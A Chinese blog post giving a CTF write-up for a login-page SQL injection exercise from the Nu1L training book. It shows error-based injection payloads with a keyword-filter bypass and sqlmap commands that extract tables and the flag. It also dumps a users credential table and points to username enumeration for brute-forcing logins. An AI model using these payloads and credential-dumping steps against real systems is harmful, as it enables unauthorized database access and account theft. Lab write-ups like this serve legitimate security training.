nu1L-web-low-4

题目描述

题目来源于Nuil战队从0到1 CTFer成长之路配套习题第4题,题目地址:

https://book.nu1l.com/tasks/#/pages/web/1.2

题目Flag:

n1book{login_sqli_is_nice}

Writeup

开启环境后,访问80端口下/login.php页面如下:

image

手工注入

登录框可能的注入点有两个name字段和pass,在进行过注入尝试后未发现有回显的注入

image

翻看前端源代码发现如下提示,提示加上tips=1开启报错

image

开启报错后再尝试注入发现有报错信息返回

image

尝试使用updatexml进行报错注入,发现存在报错注入

image

获取当前数据库名,数据库名为note

image

获取note数据库表名,在使用select获取表名时遇到报错,根据报错信息判断可能是sql语句被进行某种替换导致注入失败,经过尝试后采用如下payload进行绕过并成功获取表名:fl4g

name=1' and updatexml(1,concat(0x7e,(selselectect concat(table_name) from information_schema.tables where table_schema='note' limit 0,1),0x7e),1)#&pass=11111

image

获取note数据库fl4g表的字段:flag

name=1' and updatexml(1,concat(0x7e,(selselectect concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema='note' limit 0,1),0x7e),1)#&pass=1111

image

获取note数据库fl4g表,flag字段的值得到最终flag

name=1' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)#&pass=111111	

image

SQLMAP注入

将上文中手工注入的数据包保存在1.txt中,使用如下命令探测注入点,发现报错注入

python2 .\sqlmap.py -r .\1.txt --level 3

image

获取当前数据库名

python2 .\sqlmap.py -r .\1.txt --current-db

image

获取表名

python2 .\sqlmap.py -r .\1.txt -D note --tables

image

获取fl4g表中的字段

python2 .\sqlmap.py -r .\1.txt -D note -T fl4g --columns

image

获取flag字段的值,得到最终flag

python2 .\sqlmap.py -r .\1.txt -D note -T fl4g -C flag --dump

image

CTF之外的思考

在获取表名的时候,其实发现还有另一个users表,查看下users表中的字段,发现是存储着账号密码的

python2 .\sqlmap.py -r .\1.txt -D note -T users --columns

image

利用sqlmap自带的库尝试获取账号密码的明文信息,得到了两个账户密码

python2 .\sqlmap.py -r .\1.txt -D note -T users -C passwd,username --dump

image

使用账户密码登录,提示flag在数据库中

image

这里其实此系统存在个很明显的逻辑漏洞:用户名枚举漏洞

当输入存在的用户名和错误的密码提示帐号或密码错误

image

当输入不存在的用户名和错误的密码提示帐号不存在

image

根据此漏洞结合此网站不存在放爆破机制可以采用暴力枚举的手段登录系统。

posted @ 2022-04-18 00:14  墨宸  阅读(13)  评论(0)    收藏  举报